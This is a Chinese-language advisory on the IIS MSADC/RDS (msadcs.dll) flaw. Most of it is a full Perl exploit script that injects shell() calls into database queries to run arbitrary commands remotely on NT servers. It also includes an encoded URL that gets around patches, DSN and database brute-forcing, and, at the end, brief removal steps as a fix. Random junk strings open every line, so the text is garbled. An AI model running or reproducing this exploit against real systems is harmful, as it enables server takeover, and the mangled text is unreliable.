IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
En&bwLu:s ,(aOTFQS 涉及程序：
~ou1{NS Microsoft NT server
^/;W;C{4 HI}$Z =C 描述：
BR8W8nRb 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
$HjKELoJ< ?Y6MC:l< 详细：
om 3$= 如果你没有时间读详细内容的话，就删除:
+r EqE/QF c:\Program Files\Common Files\System\Msadc\msadcs.dll
D&1*,` 有关的安全问题就没有了。
*"rgK|CM$ OkSJob 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
Z2z"K<Z W 7%rSo^t,L 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
a'R)3:S 关于利用ODBC远程漏洞的描述，请参看:
Q _}i8p ' cG%ttfq\ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm V,,/}f ' e_C9VNP 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
]TTX<R
ZLr http://www.microsoft.com/security/bulletins/MS99-025faq.asp 0,)A o8 _ED,DM 这里不再论述。
** \B P,]} i!zh9,i>M 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
L||_Js u ZLA&<]Ad"$ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
6;/>asf 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
ciKk azx. \Ol3kx| |7IlYy& : #将下面这段保存为txt文件，然后: "perl -x 文件名"
ibD MhW$n CbK &.a #!perl
_=0;5OrK1X #
GH%'YY3| # MSADC/RDS 'usage' (aka exploit) script
(W~jr-O^ #
)tQG5.to # by rain.forest.puppy
/EY ^u i #
nJ/ w tw # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
]h (TZu # beta test and find errors!
=~r?(u6d wv,,# P use Socket; use Getopt::Std;
(]'Q!MjGa getopts("e:vd:h:XR", \%args);
]+\@_1<ZI /BWJ)6#H print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
MWSx8R)PN ?f+w:FO if (!defined $args{h} && !defined $args{R}) {
iQ=
%iou print qq~
AYHfe#! Usage: msadc.pl -h <host> { -d <delay> -X -v }
j =v 1:E -h <host> = host you want to scan (ip or domain)
.8is! TT -d <seconds> = delay between calls, default 1 second
O[RmQ8ll -X = dump Index Server path table, if available
1jZ:@M : -v = verbose
rI &GM
| -e = external dictionary file for step 5
Zl]Zy}p* + w>I>9O}(` Or a -R will resume a command session
]pLQ;7f7D c mDskQ: ~; exit;}
9%\<x ]d"4G7mu`l $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
RL >Nl ow if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
5GK=R aV if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
}G&#p w2 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
,x5`5mT3 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
db "FC3/H if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
ok 5
{c Cna@3)_ if (!defined $args{R}){ $ret = &has_msadc;
SsjO1F die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
TX{DZ# :oF\?e
print "Please type the NT commandline you want to run (cmd /c assumed):\n"
b?-%Uzp< . "cmd /c ";
8k'UEf`'( $in=<STDIN>; chomp $in;
gf+Kr02~ $command="cmd /c " . $in ;
/U<-N'| =Mq=\T if (defined $args{R}) {&load; exit;}
cHK)e2 r b G +p print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
'#<?QE!d2 &try_btcustmr;
\()\ pp~4 z Q
NL){ print "\nStep 2: Trying to make our own DSN...";
]sO} ) &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
rWbuoG+8 !lE
(!d3M print "\nStep 3: Trying known DSNs...";
Oa~t &s &known_dsn;
KdF QlQaj gcr,?rE< print "\nStep 4: Trying known .mdbs...";
zQ xZR}' &known_mdb;
AO;`k]0e +-,Q>` if (defined $args{e}){
IoNZ' g?d print "\nStep 5: Trying dictionary of DSN names...";
MoA2Cp;8X &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
GFvZdP`s4 NTi JEzW} print "Sorry Charley...maybe next time?\n";
'6{q;Bxo exit;
1W - t})!a ld94e k ##############################################################################
) 0$ 7{3 ,oDZ:";
sub sendraw { # ripped and modded from whisker
g'Ft5fQ"o/ sleep($delay); # it's a DoS on the server! At least on mine...
}Evy fc#D my ($pstr)=@_;
fl~k')s socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
))!Z2PfD die("Socket problems\n");
[ 7]p\' j if(connect(S,pack "SnA4x8",2,80,$target)){
r4NI(\gU select(S); $|=1;
uW4G!Kw28 print $pstr; my @in=<S>;
q=bJ9iJsq select(STDOUT); close(S);
yyk[oH-Q return @in;
{#q<0l } else { die("Can't connect...\n"); }}
Q" VFcp: 3z:
rUhA ##############################################################################
*P:`{ZV7=W -'{ioHt&X/ sub make_header { # make the HTTP request
.EH^1.|v my $msadc=<<EOT
{^9,Dy_D POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
M O* m@ User-Agent: ACTIVEDATA
?C.C?h6F5B Host: $ip
`(=)8>|e Content-Length: $clen
e @p` -;< Connection: Keep-Alive
hr@K WE` ' m}~ ADCClientVersion:01.06
_@sqCf%| Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
N&S :=x:$S 3-32q)8 --!ADM!ROX!YOUR!WORLD!
&4"(bZ:LO Content-Type: application/x-varg
S~YrXQ{_>- Content-Length: $reqlen
nP'ab_>b (5-"5<-@R EOT
`;*=2M<c ; $msadc=~s/\n/\r\n/g;
X nWr~h{b return $msadc;}
]9z c[_
! a>sUq[" ##############################################################################
`Lm
ArW: I=f1kr
pR sub make_req { # make the RDS request
g_>)Q my ($switch, $p1, $p2)=@_;
Ew4DumI my $req=""; my $t1, $t2, $query, $dsn;
RZ|s[b U $q.8ve0&^ if ($switch==1){ # this is the btcustmr.mdb query
$+JaEF`8 $query="Select * from Customers where City=" . make_shell();
K"N q_Ddwd $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
:Iwe> ;} $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
5/:Z j,41{ ICq;jf ML elsif ($switch==2){ # this is general make table query
PKdM-R'Z $query="create table AZZ (B int, C varchar(10))";
bvEk.~tC' $dsn="$p1";}
*KxV;H8/ w i*Ke2YKP elsif ($switch==3){ # this is general exploit table query
QwOQS
% $query="select * from AZZ where C=" . make_shell();
F8b*Mt}p $dsn="$p1";}
iv #9{T '.WYs! elsif ($switch==4){ # attempt to hork file info from index server
6xnJyEQUM $query="select path from scope()";
9 A B~ *;U $dsn="Provider=MSIDXS;";}
F1Egcx/$V LfOGq%& elsif ($switch==5){ # bad query
A!iH g__/t $query="select";
?\$77k $dsn="$p1";}
axU!o /m> *i5&x /ds $t1= make_unicode($query);
qcQ`WU { $t2= make_unicode($dsn);
MB ^ b)\X $req = "\x02\x00\x03\x00";
UfcM2OmbK $req.= "\x08\x00" . pack ("S1", length($t1));
y*Ex5N~JC $req.= "\x00\x00" . $t1 ;
5 Odi\SJ& $req.= "\x08\x00" . pack ("S1", length($t2));
oH6(L q'q $req.= "\x00\x00" . $t2 ;
n6Q 3X
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
lt, x(2 return $req;}
s)/i_Oe$\ &lI.N ~Ao ##############################################################################
qf24l&} ~&B_ Bswf sub make_shell { # this makes the shell() statement
zK fb return "'|shell(\"$command\")|'";}
(CZRX 9TT1 lzS"NHs<g( ##############################################################################
'ARQ7 Q[` `;cKN)Xk sub make_unicode { # quick little function to convert to unicode
A*\4C3 a'% my ($in)=@_; my $out;
f+<-Jc for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
1RRvNZW return $out;}
[>"qOFCr#: wy) Frg ##############################################################################
%HYC-TF# I
&{dan2 sub rdo_success { # checks for RDO return success (this is kludge)
u{6*}6@fi my (@in) = @_; my $base=content_start(@in);
OY"{XnPZ if($in[$base]=~/multipart\/mixed/){
/jj} .X7yH return 1 if( $in[$base+10]=~/^\x09\x00/ );}
)%,bog(x return 0;}
x( mY$l,il jgEiemh& ##############################################################################
[FyE{NfiJ% Z8'uZ#=Yw sub make_dsn { # this makes a DSN for us
m"U\;Mw? my @drives=("c","d","e","f");
Y pv"u0 print "\nMaking DSN: ";
/-Bp lU*"9 foreach $drive (@drives) {
zI7-xqZ print "$drive: ";
1/le%}mK my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
83TN6gW "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
FpW{=4 y k . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
yRieGf1'SD $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
TC R( return 0 if $2 eq "404"; # not found/doesn't exist
,qv z:a if($2 eq "200") {
H%faRUonz foreach $line (@results) {
&lGp
/m: return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
$fn Fi|- } return 0;}
c p.)K!$ x 5PQ9Bw, ##############################################################################
CH9#< ?l %X [|7D- sub verify_exists {
vaK$j!%FE my ($page)=@_;
$orhY D3gv my @results=sendraw("GET $page HTTP/1.0\n\n");
6"A|)fz return $results[0];}
Sl 6}5 &+*jTE ##############################################################################
'> `b p25> AV&W &$ sub try_btcustmr {
y!aq}YS my @drives=("c","d","e","f");
]Ff&zBJ my @dirs=("winnt","winnt35","winnt351","win","windows");
^'FY!^dE t~@TUTbx foreach $dir (@dirs) {
.` ,YUr$. print "$dir -> "; # fun status so you can see progress
%? RX}37K foreach $drive (@drives) {
0kC!v , print "$drive: "; # ditto
Sm, %> $reqlen=length( make_req(1,$drive,$dir) ) - 28;
, GR(y^S $reqlenlen=length( "$reqlen" );
iY*Xm, # $clen= 206 + $reqlenlen + $reqlen;
9IIe: @p `#y my @results=sendraw(make_header() . make_req(1,$drive,$dir));
p=7kFv if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
>#0yd7BST else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
/"/$1F%{ Sf*VkH ##############################################################################
,VHvQU im1]:kr7 sub odbc_error {
%A W my (@in)=@_; my $base;
#j; &g1 my $base = content_start(@in);
wF38c]r`\< if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
&:{| nDT_2 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
M%B]f2C $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/{qr~7k,oQ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
NTVG'3o return $in[$base+4].$in[$base+5].$in[$base+6];}
^(&:=r.PC print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
2@ ^8{ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
"$Rl9(} $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
lWOB!l QZ{:#iuig ##############################################################################
;J?!D x Lb/a _8<E? sub verbose {
`9 $?g|rB my ($in)=@_;
B>~E6j7[Mp return if !$verbose;
y< 146 print STDOUT "\n$in\n";}
R8HA X ]vu' +F$ ##############################################################################
e#W@ep|n Vwv O@G7A sub save {
\ &_
- my ($p1, $p2, $p3, $p4)=@_;
x28B z*O open(OUT, ">rds.save") || print "Problem saving parameters...\n";
B JlF@F# print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
!5=3Y4bg1 close OUT;}
1` 9/[2z R$w=+%F ##############################################################################
_;0:wXib = AY * sub load {
Z/ThY bk my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
!)&-\!M> open(IN,"<rds.save") || die("Couldn't open rds.save\n");
6NZ f!7, B @p=<IN>; close(IN);
][0HJG{{g $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
[!aHP ?- $target= inet_aton($ip) || die("inet_aton problems");
8K1+tt jm print "Resuming to $ip ...";
ZY][LU~l8 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
fxiq,o0 if($p[1]==1) {
1hRC
Bwx $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Wje7fv $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
/?by4v73P my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
1 bv L if (rdo_success(@results)){print "Success!\n";}
9`vse>,-hg else { print "failed\n"; verbose(odbc_error(@results));}}
2@A7i<p elsif ($p[1]==3){
L(X:=)
!K0 if(run_query("$p[3]")){
s!UC{ )g, print "Success!\n";} else { print "failed\n"; }}
X|.X4fs elsif ($p[1]==4){
/+66y=`UJ if(run_query($drvst . "$p[3]")){
/=-E`%R}! print "Success!\n"; } else { print "failed\n"; }}
2 U#OBvNU exit;}
@c.QrKSaD Xv'64Nc!; ##############################################################################
tc#
rL r4_ c~\j H sub create_table {
~%GUc
~ my ($in)=@_;
5a_K|(~3I $reqlen=length( make_req(2,$in,"") ) - 28;
U>:p` @ $reqlenlen=length( "$reqlen" );
A}oR,$D- $clen= 206 + $reqlenlen + $reqlen;
* 9*I:Uh57 my @results=sendraw(make_header() . make_req(2,$in,""));
9^jO^[> return 1 if rdo_success(@results);
| pJ.73 my $temp= odbc_error(@results); verbose($temp);
r2H]n.MT return 1 if $temp=~/Table 'AZZ' already exists/;
UkeW2l`: return 0;}
[%bshaY: ?{^T&<18t ##############################################################################
Y .&z $+ O0~[]3Y[= sub known_dsn {
Q Odv zVy< # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
7]
~'8 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
h{>8W0W* "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
VpJ2Qpd= "banner", "banners", "ads", "ADCDemo", "ADCTest");
~omX(kPzK WXGLo;+>I foreach $dSn (@dsns) {
d)q{s(<; print ".";
" $m3x O next if (!is_access("DSN=$dSn"));
=k0l>) if(create_table("DSN=$dSn")){
+fKLCzj print "$dSn successful\n";
o>j3<#? if(run_query("DSN=$dSn")){
I,q 3J1K print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Z/a]oR@ print "Something's borked. Use verbose next time\n";}}} print "\n";}
*jDzh;H!w >5XE*9 ##############################################################################
<;_X=s`f, 9/Q5(P sub is_access {
`biv AL my ($in)=@_;
v`no d I $reqlen=length( make_req(5,$in,"") ) - 28;
iiO 4.@nT $reqlenlen=length( "$reqlen" );
"9R3 S[ $clen= 206 + $reqlenlen + $reqlen;
tohYwXN my @results=sendraw(make_header() . make_req(5,$in,""));
u* PN1E my $temp= odbc_error(@results);
= 1L rU$\ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
F#W'>WBU return 0;}
$'kIo*cZ i)
:Q{[D ##############################################################################
m-ZVl j fq\E$ 'o$ sub run_query {
?; }2 Z) my ($in)=@_;
&4 p:2,|r9 $reqlen=length( make_req(3,$in,"") ) - 28;
=X >?Y, $reqlenlen=length( "$reqlen" );
B \[ P/AC $clen= 206 + $reqlenlen + $reqlen;
5qUyO kI my @results=sendraw(make_header() . make_req(3,$in,""));
<!4'?K -N return 1 if rdo_success(@results);
T;.#=h my $temp= odbc_error(@results); verbose($temp);
+vZ-o{}.jO return 0;}
&~ uzu{ N<O^%!bu R ##############################################################################
-w^E~J0*L wYNh0QlBH sub known_mdb {
R z%+E0 my @drives=("c","d","e","f","g");
'N 'EC`R my @dirs=("winnt","winnt35","winnt351","win","windows");
Z?1.Y7Npr my $dir, $drive, $mdb;
MheP@ [w|@ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
8]+hfB/ Jf o#IRC # this is sparse, because I don't know of many
dp-8,Seu my @sysmdbs=( "\\catroot\\icatalog.mdb",
Ns&S ZO "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
e|xRK?aVBu "\\system32\\certmdb.mdb",
hb[K.`g "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
;-U :t4 c1!h;(& my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
F&I^bkvh "\\cfusion\\cfapps\\forums\\forums_.mdb",
x!gu&AA<* "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
_f2(vWCW;J "\\cfusion\\cfapps\\security\\realm_.mdb",
Smg,1,= "\\cfusion\\cfapps\\security\\data\\realm.mdb",
r1$
O<3\ "\\cfusion\\database\\cfexamples.mdb",
!J'BAq[x "\\cfusion\\database\\cfsnippets.mdb",
XG_ lyx%:E "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
; v>2z!M "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
c00a;=ji "\\cfusion\\brighttiger\\database\\cleam.mdb",
_fa2ntuS=f "\\cfusion\\database\\smpolicy.mdb",
$Jx]
FZDQ "\\cfusion\\database\cypress.mdb",
YV 2T$#7u "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
JtvAi\52$ "\\website\\cgi-win\\dbsample.mdb",
dsrzXmE0 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
ANi}q9SC "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
_ jF,
k>F ); #these are just
M>8#is(pV foreach $drive (@drives) {
#t
po@pJsE foreach $dir (@dirs){
VbJGyjx foreach $mdb (@sysmdbs) {
s$| GVv1B print ".";
n$B=Vt, if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
c?j / H$ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
#!C/~"Y*`| if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
#k5Nnv#(J print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
B]0`b1t } else { print "Something's borked. Use verbose next time\n"; }}}}}
jQ(qaX&
@My-O@C> foreach $drive (@drives) {
PzNk: O foreach $mdb (@mdbs) {
mGwB bY+5n print ".";
UC\CCDV#^ if(create_table($drv . $drive . $dir . $mdb)){
-7$7TD`'7 print "\n" . $drive . $dir . $mdb . " successful\n";
D3|y|Dr if(run_query($drv . $drive . $dir . $mdb)){
\:%e 6M print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
FE" ksi 9 } else { print "Something's borked. Use verbose next time\n"; }}}}
.Hc ]?R ] }
349W0>eOT UuzT*Y> ##############################################################################
J *5 )g rp{q.fy'U sub hork_idx {
fu"#C}{ print "\nAttempting to dump Index Server tables...\n";
ezgP\ct print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
9)];l?l $reqlen=length( make_req(4,"","") ) - 28;
edx-R-Dc-1 $reqlenlen=length( "$reqlen" );
bb}|"m . $clen= 206 + $reqlenlen + $reqlen;
oGu-:X=`9 my @results=sendraw2(make_header() . make_req(4,"",""));
*[9FPya if (rdo_success(@results)){
'n6D3Vse my $max=@results; my $c; my %d;
sy0|=E*;8" for($c=19; $c<$max; $c++){
Fr`"XH $results[$c]=~s/\x00//g;
PsjSL8] $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
,W'`rCxJ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
0 P3^# j $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
[d aUtKz $d{"$1$2"}="";}
x4r\cL1! foreach $c (keys %d){ print "$c\n"; }
[>U'P1@ql } else {print "Index server doesn't seem to be installed.\n"; }}
pIXbr($
") q ##############################################################################
L K-2e$1 )Gi!wm>zvN sub dsn_dict {
<]2X~+v open(IN, "<$args{e}") || die("Can't open external dictionary\n");
>;-. rJFr while(<IN>){
x_GD $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
? suxoP% next if (!is_access("DSN=$dSn"));
/5b,& if(create_table("DSN=$dSn")){
:* 4b,P print "$dSn successful\n";
k2(B{x}L if(run_query("DSN=$dSn")){
;G |5kvE> print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
ABu K`(f. print "Something's borked. Use verbose next time\n";}}}
2? 9*V19yu print "\n"; close(IN);}
7_ xQa$U[ :D|"hJ ##############################################################################
AqM}@2#%% }1kT0*'L sub sendraw2 { # ripped and modded from whisker
VEj-%"\ sleep($delay); # it's a DoS on the server! At least on mine...
w~{NN K;"j my ($pstr)=@_;
P| `pJYe socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
{ss^L die("Socket problems\n");
C @3a/<6m if(connect(S,pack "SnA4x8",2,80,$target)){
_r@
FWUZ print "Connected. Getting data";
<$7HX /P open(OUT,">raw.out"); my @in;
=4+Wx8ZeW select(S); $|=1; print $pstr;
`!V=~"ve while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
8vpB(VxV+ close(OUT); select(STDOUT); close(S); return @in;
qS1byqq78l } else { die("Can't connect...\n"); }}
2_k2t
? jrJ!A(<) ##############################################################################
$o 2 H#" 6b`3AAGU" sub content_start { # this will take in the server headers
P_6Jwe N my (@in)=@_; my $c;
fhp\of/@
R for ($c=1;$c<500;$c++) {
1- Jd Qs6 if($in[$c] =~/^\x0d\x0a/){
^Y[.-MJt+ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
qtlXDgppO else { return $c+1; }}}
`>'%!E9G return -1;} # it should never get here actually
}rK9M$2]u U?]}K S;6 ##############################################################################
_- mSK/Z <~s{&cL!%# sub funky {
*f<+yF{=A my (@in)=@_; my $error=odbc_error(@in);
.S4c<pMap if($error=~/ADO could not find the specified provider/){
Y=0D[o8 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
#2
Gy=GvV exit;}
~nLE?>x|Z if($error=~/A Handler is required/){
%+gK5aVab print "\nServer has custom handler filters (they most likely are patched)\n";
%QYW0l E exit;}
2E7vuFH4c if($error=~/specified Handler has denied Access/){
gkkT<hEV= print "\nServer has custom handler filters (they most likely are patched)\n";
w1>uD] exit;}}
"]H_;:{f %?
87#| ##############################################################################
`_ "F7Czn . l1uqCuB sub has_msadc {
re}_+sv U my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
d!>.$| b my $base=content_start(@results);
f0!i<9< return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
'Z ;8-1M?O return 0;}
} [2 X 0\O3l* j ########################
LKC^Y) 6o $?`-} wY }K F f 解决方案：
Hst]}g' . 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
*n]f) Jc 2、移除web 目录: /msadc
